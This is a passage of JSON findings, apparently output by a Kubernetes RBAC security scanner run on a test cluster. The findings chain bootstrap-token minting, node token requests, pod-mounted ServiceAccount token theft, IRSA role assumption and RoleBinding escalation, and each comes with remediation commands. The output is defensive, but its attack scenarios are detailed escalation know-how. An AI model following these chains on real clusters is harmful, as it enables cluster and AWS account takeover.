        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "nodeid-tokenwriter",
        "source_role": "nodeid-tokenwriter",
        "binding_namespace": "kube-system"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole"
        },
        "permission": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE:ServiceAccount/privesc-fixtures/sa-secret-mint:aws_iam_role:arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
    "rule_id": "KUBE-PRIVESC-PATH-AWS-IAM-ROLE",
    "severity": "HIGH",
    "score": 6.65,
    "category": "privilege_escalation",
    "title": "ServiceAccount can reach external AWS IAM role",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-mint` has a privesc path that ends at an external AWS IAM role. The terminal hop is `irsa_assume_role`: the cluster's OIDC provider issues a JWT for the ServiceAccount, and AWS STS exchanges that JWT for IAM role credentials. Once the attacker holds those credentials, the cluster's RBAC layer is no longer the perimeter; the IAM role's attached policies are. Real IRSA roles in production commonly grant S3 read/write, DynamoDB, KMS Decrypt, or worse, and admin-flavored roles short-circuit the entire AWS account boundary.\n\nThe chain (4 hop(s); each step uses an explicit primitive the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `bootstrap_token_mint` (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa\n  4. `ServiceAccount/cloud-eks-imp/imp-irsa` → `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `irsa_assume_role` (arn:aws:iam::123456789012:role/ImpersonatorAdminRole): ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA\n\nThis finding does NOT score AWS-side risk: the IAM role's policies live in the cloud account, not the snapshot. A separate cloud-side review (Cloudsplaining, IAM Access Analyzer, or `aws iam simulate-principal-policy`) is required to convert this into a concrete impact statement.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-mint` -\u003e external AWS IAM role: scope is the union of every action the IAM role's attached policies allow, outside the Kubernetes API surface."
    },
    "impact": "Compromise of this SA yields AWS account access scoped by the IAM role's policies. Even least-privilege IRSA roles routinely grant data-plane reads (S3, DynamoDB, KMS) that turn cluster compromise into data exfiltration; admin-flavored roles turn it into account takeover.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/privesc-fixtures/sa-secret-mint`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create,get secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cloud-eks-imp/imp-irsa` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cloud-eks-imp/imp-irsa`, the attacker uses the `irsa_assume_role` technique to reach `User/arn:aws:iam::123456789012:role/ImpersonatorAdminRole` via `arn:aws:iam::123456789012:role/ImpersonatorAdminRole`, which gains ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA.",
      "Final step: the IRSA-projected token is exchanged at the AWS STS endpoint (`sts:AssumeRoleWithWebIdentity`) for an AWS access-key/secret/session-token triple authenticated as the IAM role. The attacker can now invoke any AWS API the role's policies allow, from inside or outside the cluster."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create,get secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. irsa_assume_role [arn:aws:iam::123456789012:role/ImpersonatorAdminRole]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 4,
      "target": "aws_iam_role",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "pod_create_token_theft",
        "irsa_assume_role"
      ]
    },
    "remediation": "Tighten the IRSA role: review its trust policy and attached permissions, then break the chain at the weakest hop. Concretely: remove the `create pods` capability that enables hop 3 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
    "remediation_steps": [
      "Audit the IAM role's trust policy: `aws iam get-role --role-name \u003crole\u003e` and confirm the `Condition` block restricts `sub` to exactly this ServiceAccount (e.g. `system:serviceaccount:\u003cns\u003e:\u003csa\u003e`). A wildcard or missing condition lets *any* SA in the cluster mint role credentials.",
      "Apply least-privilege actions on the role's attached policies. Replace `Action: \"*\"` or `Resource: \"*\"` with the minimum set the workload actually uses (CloudTrail data-event logs + IAM Access Analyzer findings are the canonical inputs).",
      "Tag and audit role usage with CloudTrail. Set `aws_iam_role_last_used` to alert on any AssumeRole event not originating from the expected SA's OIDC sub.",
      "Break the in-cluster chain: remove the `create pods` capability that enables hop 3 (`ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cloud-eks-imp/imp-irsa`).",
      "Wire admission policy: a Kyverno rule that fails any new ServiceAccount whose `eks.amazonaws.com/role-arn` annotation points at an admin-flavored role (AdministratorAccess, PowerUserAccess, AWSReservedSSO_AdministratorAccess_*) outside an explicit allowlist."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html",
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "AWS: IAM Roles for Service Accounts (IRSA)",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html"
      },
      {
        "title": "AWS: Restrict an IRSA role to a single ServiceAccount",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/cross-account-access.html"
      },
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cloud-eks-imp/imp-irsa",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "irsa_assume_role",
        "technique": "KUBE-CLOUD-IRSA",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imp-irsa",
          "namespace": "cloud-eks-imp"
        },
        "to_subject": {
          "kind": "User",
          "name": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole"
        },
        "permission": "arn:aws:iam::123456789012:role/ImpersonatorAdminRole",
        "gains": "ServiceAccount can assume arn:aws:iam::123456789012:role/ImpersonatorAdminRole via IRSA"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:aws_iam_role"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/privesc-fixtures/sa-ephemeral:namespace_admin:cutres",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.6499999999999995,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-ephemeral` can reach **namespace-admin in `cutres`** in 3 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-ephemeral` has a privesc path that ends at namespace-admin inside `cutres`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `cutres` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  2. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/cutres/cutres-detour` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cutres/cutres-detour\n  3. `ServiceAccount/cutres/cutres-detour` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "cutres",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-ephemeral` → namespace-admin in `cutres`: every workload, Secret, and ConfigMap inside `cutres` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-ephemeral` yields full takeover of `cutres`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-ephemeral` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/rbac-fixtures/sa-pod-create` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/cutres/cutres-detour` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `cutres`. They read every Secret and ConfigMap in `cutres`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "2. pod_create_token_theft [create pods]",
        "3. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "ephemeral_container_inject",
      "hop_count": 3,
      "target": "namespace_admin",
      "target_namespace": "cutres",
      "techniques": [
        "ephemeral_container_inject",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `cutres`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 3 (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:privesc-fixtures:sa-ephemeral` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 3 (`ServiceAccount/cutres/cutres-detour` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `cutres` granting RBAC writes: `kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `cutres` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 2,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cutres/cutres-detour",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 3,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "cutres"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/privesc-fixtures/sa-ephemeral:namespace_admin:deepchain-tenant",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.6499999999999995,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-ephemeral` can reach **namespace-admin in `deepchain-tenant`** in 3 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-ephemeral` has a privesc path that ends at namespace-admin inside `deepchain-tenant`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `deepchain-tenant` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create\n  2. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/deepchain-tenant/deepchain-binder` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder\n  3. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "deepchain-tenant",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-ephemeral` → namespace-admin in `deepchain-tenant`: every workload, Secret, and ConfigMap inside `deepchain-tenant` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-ephemeral` yields full takeover of `deepchain-tenant`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-ephemeral` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/rbac-fixtures/sa-pod-create` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/deepchain-tenant/deepchain-binder` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `deepchain-tenant`. They read every Secret and ConfigMap in `deepchain-tenant`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "2. pod_create_token_theft [create pods]",
        "3. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "ephemeral_container_inject",
      "hop_count": 3,
      "target": "namespace_admin",
      "target_namespace": "deepchain-tenant",
      "techniques": [
        "ephemeral_container_inject",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `deepchain-tenant`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 3 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:privesc-fixtures:sa-ephemeral` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 3 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `deepchain-tenant` granting RBAC writes: `kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `deepchain-tenant` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
